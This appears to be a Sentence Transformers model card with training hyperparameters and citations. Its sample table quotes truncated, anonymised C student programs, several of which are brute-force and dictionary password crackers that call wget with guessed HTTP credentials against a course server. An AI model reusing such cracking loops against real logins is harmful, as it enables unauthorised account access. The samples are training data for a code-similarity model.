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<!-- |
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### Direct Usage (Transformers) |
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<details><summary>Click to see the direct usage in Transformers</summary> |
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</details> |
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### Downstream Usage (Sentence Transformers) |
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You can finetune this model on your own dataset. |
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<details><summary>Click to expand</summary> |
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</details> |
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### Out-of-Scope Use |
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*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
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--> |
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<!-- |
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## Bias, Risks and Limitations |
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### Recommendations |
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*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
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## Training Details |
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### Training Dataset |
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#### Unnamed Dataset |
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* Size: 3,081 training samples |
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* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> |
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* Approximate statistics based on the first 1000 samples: |
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| | sentence_0 | sentence_1 | label | |
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|:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------| |
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| type | string | string | int | |
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| details | <ul><li>min: 194 tokens</li><li>mean: 471.57 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 194 tokens</li><li>mean: 458.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> | |
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* Samples: |
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| sentence_0 | sentence_1 | label | |
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|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
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| <code>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br>#include<sys/time.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br><br><br><br>int ()<br>{<br> int i,j,k,syst;<br> char password[4],first[100],last[100];<br> int count =0; <br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(first, "wget --http-user= --http-passwd=");<br> strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> int Start_time,End_time,Total_time,average; <br> Start_time = time();<br>printf(" Time =%11dms\n", Start_time);<br> for (i=0;i<=52;i++)<br> {<br> for (j=0;j<=52;j++)<br> {<br> for(k=0;k<=52;k++)<br> {<br> password[0] = arr[i];<br> password[1] = arr[j];<br> password[2] = arr[k];<br> password[3] = '\0';<br> printf(" The Combination of the password tried %s \n" ,password);<br> printf("*...</code> | <code>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br><br><br><br>int ()<br>{<br> int i,j,k,sysoutput;<br> char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];<br> char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br> 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> strcpy(string1, "wget --http-user= --http-passwd=");<br> strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");<br> <br> for (i=0;i<=52;i++)<br> { <br> [0] = arr[i];<br> [1] ='\0'; <br> strcpy(a,);<br> <br> printf("The first value is %s \n", a); <br><br> for (j=0;j<=52;j++)<br> { [0] = arr[j];<br> [1] = '\0'; <br> strcpy(temp1,a);<br> strcat(a,);<br> strcpy(b,a);<br> strcpy(a,temp1);<br> printf("The second value is %s \n", b); <br> for(k=0;k<=52;k++)<br> { <br> [0] =arr[k];<br> [1] = '\0...</code> | <code>1</code> | |
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| <code>#include<stdio.h><br>#include<string.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<sys/time.h><br><br>()<br>{<br> int i,m,k,count=0;<br> FILE* diction;<br> FILE* log;<br> char s[30];<br> char pic[30];<br> char add[1000];<br> char end[100];<br> time_t ,finish;<br> double ttime;<br> <br> strcpy(add,"wget --http-user= --http-passwd=");<br> strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");<br> diction=fopen("/usr/share/lib/dict/words","r");<br> =time(NULL);<br> while(fgets(s,100,diction)!=NULL) <br> { <br> printf("%s\n",s);<br> for(m=40,k=0;k<(strlen(s)-1);k++,m++)<br> {<br> add[m]=s[k];<br> }<br> add[m++]=' ';<br> for(i=0;i<50;i++,m++)<br> {<br> add[m]=end[i];<br> }<br> add[m]='\0';<br> <br> system(add);<br> count++;<br> log=fopen("logd","r");<br> fgets(pic,100,log);<br> printf("%s",pic);<br> if(strcmp(pic,"Authorization failed.\n")!=0) <br> {<br> finish=time(NULL);<br> ttime=difftime(,finish);<br> printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);<br> break;<br> }<br> fclose(log);<br> }<br><br>}<br></code> | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <time.h><br><br>int () <br>{<br> int i,j,k,cntr=0;<br> char pass[3];<br> char password[3];<br> char get[96];<br> char username[]="";<br> int R_VALUE;<br> double time_used;<br> <br> clock_t ,end; <br> <br> =clock(); <br> <br> <br> <br> for (i = 65; i <= 122; i++)<br> {<br> if(i==91) {i=97;}<br> <br> for (j = 65; j <= 122; j++)<br> {<br> if(j==91) {j=97;}<br> <br> for (k = 65; k <= 122; k++)<br> {<br> if(k==91) {k=97;} <br> <br> pass[0] = i;<br> pass[1] = j;<br> pass[2] = k;<br> sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); <br> cntr++;<br> <br> printf("%d )%s\n\n", cntr, password);<br> sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br> <br><br> R_VALUE=system(get);<br> <br> if(R_VALUE==0) <br> {<br> printf("The Password has been cracked and it is : %s" , password);<br> ...</code> | <code>0</code> | |
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| <code><br><br> <br> <br><br><br>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br><br> <br> int ()<br> {<br> char url[30];<br> int exitValue=-1;<br> FILE *fr;<br><br> char s[300]; <br> system("rm index.html*");<br> system("wget http://www.cs.rmit.edu./students/ "); <br> system("mv index.html one.html");<br> <br> printf("System completed Writing\n"); <br> system("sleep 3600");<br> <br> <br> system("wget http://www.cs.rmit.edu./students/ "); <br> <br> <br> <br> exitValue=system("diff one.html index.html > .out" );<br> <br> fr=fopen(".out","r");<br> <br> strcpy(s,"mailx -s \"Testing Again\"");<br> <br> strcat(s," < .out");<br> if(fgets(url,30,fr))<br> {<br> system(s);<br> <br> system("rm one.html"); <br> <br> printf("\nCheck your mail") ; <br> fclose(fr); <br> }<br> else<br> {<br> printf(" changes detected"); <br> <br> system("rm one.html"); <br> fc...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> time_t u1,u2;<br> char v[3];<br> char temp1[100];<br> char temp2[100];<br> char temp3[250];<br> FILE *fin1;<br> <br> char point[25];<br> fin1=fopen("./words.txt","r");<br> <br> if(fin1==NULL)<br> {<br> printf(" open the file ");<br> exit(0);<br> } <br> <br><br> strcpy(temp2," --http-user= --http-passwd=");<br> strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br> strcpy(temp3,"");<br> <br> (void) time(&u1); <br> <br> while(!feof(fin1)) <br> {<br> <br> fgets(point,25,fin1);<br> if(strlen(point)<=4)<br> {<br> <br> <br> strcpy(temp3,temp1);<br> strcat(temp3,temp2);<br> strcat(temp3,point);<br> printf("\nSending the %s\n",temp3);<br> i=system(temp3); <br> <br> if(i==0)<br> {<br> (void) time(&u2); <br> printf("\n The password is %s\n",point);<br> printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));<br> exit(0);<br> } <br> else<br> {<br> strcpy(temp3,"");<br> }<br> <br> <br> }<br> }<br> <br> <br>} ...</code> | <code>0</code> | |
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* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) |
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|
|
|
### Training Hyperparameters |
|
|
#### Non-Default Hyperparameters |
|
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|
|
|
- `per_device_train_batch_size`: 16 |
|
|
- `per_device_eval_batch_size`: 16 |
|
|
- `num_train_epochs`: 1 |
|
|
- `fp16`: True |
|
|
- `multi_dataset_batch_sampler`: round_robin |
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|
|
|
#### All Hyperparameters |
|
|
<details><summary>Click to expand</summary> |
|
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|
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|
- `overwrite_output_dir`: False |
|
|
- `do_predict`: False |
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- `eval_strategy`: no |
|
|
- `prediction_loss_only`: True |
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|
- `per_device_train_batch_size`: 16 |
|
|
- `per_device_eval_batch_size`: 16 |
|
|
- `per_gpu_train_batch_size`: None |
|
|
- `per_gpu_eval_batch_size`: None |
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|
- `gradient_accumulation_steps`: 1 |
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|
- `eval_accumulation_steps`: None |
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|
- `torch_empty_cache_steps`: None |
|
|
- `learning_rate`: 5e-05 |
|
|
- `weight_decay`: 0.0 |
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|
- `adam_beta1`: 0.9 |
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|
- `adam_beta2`: 0.999 |
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|
- `adam_epsilon`: 1e-08 |
|
|
- `max_grad_norm`: 1 |
|
|
- `num_train_epochs`: 1 |
|
|
- `max_steps`: -1 |
|
|
- `lr_scheduler_type`: linear |
|
|
- `lr_scheduler_kwargs`: {} |
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|
- `warmup_ratio`: 0.0 |
|
|
- `warmup_steps`: 0 |
|
|
- `log_level`: passive |
|
|
- `log_level_replica`: warning |
|
|
- `log_on_each_node`: True |
|
|
- `logging_nan_inf_filter`: True |
|
|
- `save_safetensors`: True |
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|
- `save_on_each_node`: False |
|
|
- `save_only_model`: False |
|
|
- `restore_callback_states_from_checkpoint`: False |
|
|
- `no_cuda`: False |
|
|
- `use_cpu`: False |
|
|
- `use_mps_device`: False |
|
|
- `seed`: 42 |
|
|
- `data_seed`: None |
|
|
- `jit_mode_eval`: False |
|
|
- `use_ipex`: False |
|
|
- `bf16`: False |
|
|
- `fp16`: True |
|
|
- `fp16_opt_level`: O1 |
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|
- `half_precision_backend`: auto |
|
|
- `bf16_full_eval`: False |
|
|
- `fp16_full_eval`: False |
|
|
- `tf32`: None |
|
|
- `local_rank`: 0 |
|
|
- `ddp_backend`: None |
|
|
- `tpu_num_cores`: None |
|
|
- `tpu_metrics_debug`: False |
|
|
- `debug`: [] |
|
|
- `dataloader_drop_last`: False |
|
|
- `dataloader_num_workers`: 0 |
|
|
- `dataloader_prefetch_factor`: None |
|
|
- `past_index`: -1 |
|
|
- `disable_tqdm`: False |
|
|
- `remove_unused_columns`: True |
|
|
- `label_names`: None |
|
|
- `load_best_model_at_end`: False |
|
|
- `ignore_data_skip`: False |
|
|
- `fsdp`: [] |
|
|
- `fsdp_min_num_params`: 0 |
|
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
|
- `deepspeed`: None |
|
|
- `label_smoothing_factor`: 0.0 |
|
|
- `optim`: adamw_torch |
|
|
- `optim_args`: None |
|
|
- `adafactor`: False |
|
|
- `group_by_length`: False |
|
|
- `length_column_name`: length |
|
|
- `ddp_find_unused_parameters`: None |
|
|
- `ddp_bucket_cap_mb`: None |
|
|
- `ddp_broadcast_buffers`: False |
|
|
- `dataloader_pin_memory`: True |
|
|
- `dataloader_persistent_workers`: False |
|
|
- `skip_memory_metrics`: True |
|
|
- `use_legacy_prediction_loop`: False |
|
|
- `push_to_hub`: False |
|
|
- `resume_from_checkpoint`: None |
|
|
- `hub_model_id`: None |
|
|
- `hub_strategy`: every_save |
|
|
- `hub_private_repo`: None |
|
|
- `hub_always_push`: False |
|
|
- `gradient_checkpointing`: False |
|
|
- `gradient_checkpointing_kwargs`: None |
|
|
- `include_inputs_for_metrics`: False |
|
|
- `include_for_metrics`: [] |
|
|
- `eval_do_concat_batches`: True |
|
|
- `fp16_backend`: auto |
|
|
- `push_to_hub_model_id`: None |
|
|
- `push_to_hub_organization`: None |
|
|
- `mp_parameters`: |
|
|
- `auto_find_batch_size`: False |
|
|
- `full_determinism`: False |
|
|
- `torchdynamo`: None |
|
|
- `ray_scope`: last |
|
|
- `ddp_timeout`: 1800 |
|
|
- `torch_compile`: False |
|
|
- `torch_compile_backend`: None |
|
|
- `torch_compile_mode`: None |
|
|
- `include_tokens_per_second`: False |
|
|
- `include_num_input_tokens_seen`: False |
|
|
- `neftune_noise_alpha`: None |
|
|
- `optim_target_modules`: None |
|
|
- `batch_eval_metrics`: False |
|
|
- `eval_on_start`: False |
|
|
- `use_liger_kernel`: False |
|
|
- `eval_use_gather_object`: False |
|
|
- `average_tokens_across_devices`: False |
|
|
- `prompts`: None |
|
|
- `batch_sampler`: batch_sampler |
|
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
- `router_mapping`: {} |
|
|
- `learning_rate_mapping`: {} |
|
|
|
|
|
</details> |
|
|
|
|
|
### Framework Versions |
|
|
- Python: 3.11.13 |
|
|
- Sentence Transformers: 5.0.0 |
|
|
- Transformers: 4.52.4 |
|
|
- PyTorch: 2.6.0+cu124 |
|
|
- Accelerate: 1.8.1 |
|
|
- Datasets: 3.6.0 |
|
|
- Tokenizers: 0.21.2 |
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|
|
## Citation |
|
|
|
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|
### BibTeX |
|
|
|
|
|
#### Sentence Transformers |
|
|
```bibtex |
|
|
@inproceedings{reimers-2019-sentence-bert, |
|
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
|
month = "11", |
|
|
year = "2019", |
|
|
publisher = "Association for Computational Linguistics", |
|
|
url = "https://arxiv.org/abs/1908.10084", |
|
|
} |
|
|
``` |
|
|
|
|
|
#### BatchAllTripletLoss |
|
|
```bibtex |
|
|
@misc{hermans2017defense, |
|
|
title={In Defense of the Triplet Loss for Person Re-Identification}, |
|
|
author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
|
|
year={2017}, |
|
|
eprint={1703.07737}, |
|
|
archivePrefix={arXiv}, |
|
|
primaryClass={cs.CV} |
|
|
} |
|
|
``` |
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## Glossary |
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*Clearly define terms in order to be accessible across audiences.* |
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